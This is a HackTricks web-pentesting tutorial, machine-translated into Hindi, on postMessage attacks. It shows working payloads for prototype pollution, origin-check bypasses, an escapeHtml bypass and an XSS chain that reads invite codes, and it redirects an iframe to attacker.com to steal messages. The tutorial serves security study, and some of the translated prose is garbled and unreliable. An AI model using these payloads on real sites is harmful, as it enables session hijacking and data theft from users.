hacktricks/pentesting-web/postmessage-vulnerabilities
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Hindi 2023-11-06 08:38:02 +00:00
bypassing-sop-with-iframes-1.md Translated to Hindi 2023-11-06 08:38:02 +00:00
bypassing-sop-with-iframes-2.md Translated to Hindi 2023-11-06 08:38:02 +00:00
README.md Translated to Hindi 2023-11-06 08:38:02 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Hindi 2023-11-06 08:38:02 +00:00

PostMessage विकल्प

PostMessage विकल्प

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PostMessage भेजें

PostMessage एक संदेश भेजने के लिए निम्नलिखित फ़ंक्शन का उपयोग करता है:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

नोट करें कि targetOrigin एक '*' या https://company.com जैसी URL हो सकती है।
दूसरे स्थिति में, संदेश केवल उस डोमेन को भेजा जा सकता है (यदि विंडो ऑब्जेक्ट की मूल उत्पत्ति भिन्न हो भी)।
यदि वाइल्डकार्ड का उपयोग किया जाता है, तो संदेश किसी भी डोमेन को भेजा जा सकता है, और यह विंडो ऑब्जेक्ट की मूल उत्पत्ति को भेजा जाएगा।

targetOrigin में iframe और वाइल्डकार्ड को हमला

जैसा कि इस रिपोर्ट में समझाया गया है, यदि आपको एक पृष्ठ मिलता है जो आईफ्रेम किया जा सकता है (कोई X-Frame-Header सुरक्षा नहीं है) और जो एक वाइल्डकार्ड (*) का उपयोग करके संवेदनशील संदेश postMessage के माध्यम से भेज रहा है, तो आप आईफ्रेम के मूल को संशोधित करके उस संवेदनशील संदेश को अपने द्वारा नियंत्रित डोमेन को लीक कर सकते हैं।
ध्यान दें कि यदि पृष्ठ को आईफ्रेम किया जा सकता है लेकिन targetOrigin एक URL पर सेट किया गया है और वाइल्डकार्ड पर नहीं, तो यह चाल काम नहीं करेगी।

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener शोषण

addEventListener वह फ़ंक्शन है जिसे JS द्वारा उपयोग किया जाता है जो फ़ंक्शन की घोषणा करता है जो postMessages की आशा कर रहा है।
निम्नलिखित के समान एक कोड का उपयोग किया जाएगा:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

इस मामले में ध्यान दें कि कोड का पहला काम है मूल की जांच करना। यह बहुत महत्वपूर्ण है, खासकर जब पृष्ठ प्राप्त जानकारी के साथ कुछ संवेदनशील कार्य करने जा रहा होता है (जैसे पासवर्ड बदलना)। यदि मूल की जांच नहीं की जाती है, तो हमलावर इस इंतकाल पर अनियमित डेटा भेज सकते हैं और पीड़ितों के पासवर्ड बदल सकते हैं (इस उदाहरण में)।

गणना

वर्तमान पृष्ठ में इवेंट सुनने वाले को खोजने के लिए आप कर सकते हैं:

  • JS कोड में window.addEventListener और $(window).on (JQuery version) के लिए खोजें
  • डेवलपर टूल्स कंसोल में निम्नलिखित को एक्सीक्यूट करें: getEventListeners(window)

  • ब्राउज़र के डेवलपर टूल्स में Elements --> Event Listeners पर जाएं

  • https://github.com/benso-io/posta या https://github.com/fransr/postMessage-tracker जैसे ब्राउज़र एक्सटेंशन का उपयोग करें। ये ब्राउज़र एक्सटेंशन सभी संदेशों को अवरोधित करेंगे और आपको उन्हें दिखाएंगे।

मूल की जांच के बेसिक बाईपास

  • यदि indexOf() का उपयोग PostMessage इवेंट के मूल की जांच के लिए किया जाता है, तो ध्यान दें कि इसे आसानी से बाईपास किया जा सकता है, जैसे निम्नलिखित उदाहरण में: ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")\
  • यदि search() का उपयोग मूल की जांच के लिए किया जाता है, तो यह सुरक्षित नहीं हो सकता है। String.prototype.search() के दस्तावेज़ों के अनुसार, यह विधि एक नियमित विरोधी वस्तु को स्वीकार करती है बजाय स्ट्रिंग के। यदि इससे रेगुलर एक्सप्रेशन के अलावा कुछ भी पास किया जाता है, तो यह स्वतः रेगुलर एक्सप्रेशन में बदल जाएगा।
    नियमित अभिव्यक्ति में, डॉट (.) को वाइल्डकार्ड के रूप में देखा जाता है। हमलावर इसका लाभ उठा सकता है और मूल की जांच को बाईपास करने के लिए आधिकारिक नाम के बजाय एक विशेष डोमेन का उपयोग कर सकता है, जैसे: "https://www.safedomain.com".search("www.s.fedomain.com")।\
  • यदि escapeHtml फ़ंक्शन का उपयोग किया जाता है, तो यह फ़ंक्शन एक new एस्केप्ड ऑब्जेक्ट नहीं बनाता है, बल्कि यह मौजूदा ऑब्जेक्ट की संपत्तियों को अधिलेखित करता है। इसका अर्थ है कि यदि हमें एक नियंत्रित संपत्ति वाला ऑब्जेक्ट बनाने में सक्षम होते हैं जो hasOwnProperty का उत्तर नहीं देता है, तो यह एस्केप्ड नहीं होगा।
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

File ऑब्जेक्ट इस एक्सप्लॉइट के लिए सही है क्योंकि इसमें एक केवल पढ़ने योग्य name प्रॉपर्टी होती है जो हमारे टेम्पलेट द्वारा उपयोग की जाती है और escapeHtml फंक्शन को बाईपास कर देगी।

e.origin == window.origin को बाईपास करना

जब एक पेज <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> के माध्यम से एक सैंडबॉक्स आइफ्रेम में एम्बेड होता है, तो उस आइफ्रेम की उत्पत्ति null होगी।

जब सैंडबॉक्स मान allow-popups सेट होता है तो खोले गए पॉपअप को सभी सैंडबॉक्स विशेषताएं अनुरोधित करेंगी जब तक allow-popups-to-escape-sandbox सेट न हो।
इसलिए, एक नल उत्पत्ति से एक पॉपअप खोलना आइफ्रेम के अंदर से, और फिर आइफ्रेम से पॉपअप को postMessage भेजना, दोनों उत्पत्तियाँ नल होंगी, इसलिए: e.origin == window.origin == null

अधिक जानकारी के लिए पढ़ें:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

e.source को बाईपास करना

आप एक आइटमफ्रेम बना कर postMessage भेजकर और तुरंत ही उसे हटा देकर संदेश का e.source नल बना सकते हैं।

अधिक जानकारी के लिए पढ़ें:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header बाईपास

इन हमलों को करने के लिए आपको आदर्श रूप से पीड़ित वेब पेज को एक iframe में रखने की क्षमता होनी चाहिए। लेकिन X-Frame-Header जैसे कुछ हेडर ऐसा व्यवहार रोक सकते हैं।
ऐसे स्थितियों में आप अभी भी एक कम छिपे हुए हमला का उपयोग कर सकते हैं। आप एक नई टैब खोलकर पीड़ित वेब एप्लिकेशन के साथ संवाद कर सकते हैं:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

मुख्य पृष्ठ को ब्लॉक करके बच्चे को भेजे गए संदेश की चोरी

निम्नलिखित पृष्ठ में आप देख सकते हैं कि आप कैसे मुख्य पृष्ठ को ब्लॉक करके डेटा को भेजने से पहले और डेटा प्राप्त होने से पहले एक बच्चे आइफ्रेम को भेजे गए संवेदनशील पोस्टमैसेज डेटा की चोरी कर सकते हैं और एक बच्चे में XSS का दुरुपयोग करके डेटा को चोरी कर सकते हैं:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

आइफ्रेम स्थान को संशोधित करके संदेश चोरी करना

यदि आप एक वेबपेज को आइफ्रेम के रूप में शामिल कर सकते हैं जिसमें X-Frame-Header नहीं है और जो एक और आइफ्रेम को सम्मिलित करता है, तो आप उस बच्चे आइफ्रेम के स्थान को बदल सकते हैं, इसलिए यदि वह एक वाइल्डकार्ड का उपयोग करके भेजे गए पोस्टमैसेज को प्राप्त कर रहा है, तो एक हमलावर उस आइफ्रेम के स्रोत को अपने पास एक पृष्ठ कंट्रोल करने वाले पेज के लिए बदल सकता है और संदेश चोरी कर सकता है:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage से Prototype Pollution और/या XSS

जब postMessage के माध्यम से भेजे गए डेटा को JS द्वारा निष्पादित किया जाता है, तो आप पृष्ठ को आइफ्रेम कर सकते हैं और postMessage के माध्यम से एक्सप्लॉइट भेजकर प्रोटोटाइप पॉल्यूशन/XSS का दुरुपयोग कर सकते हैं।

एक कुछ बहुत अच्छी तरह से समझाई गई XSS postMessage इसमें मिल सकती है https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

एक एक्सप्लॉइट का उदाहरण प्रोटोटाइप पॉल्यूशन का दुरुपयोग करना और फिर XSS के माध्यम से postMessage के लिए एक iframe को दुरुपयोग करना:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

अधिक जानकारी के लिए:

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥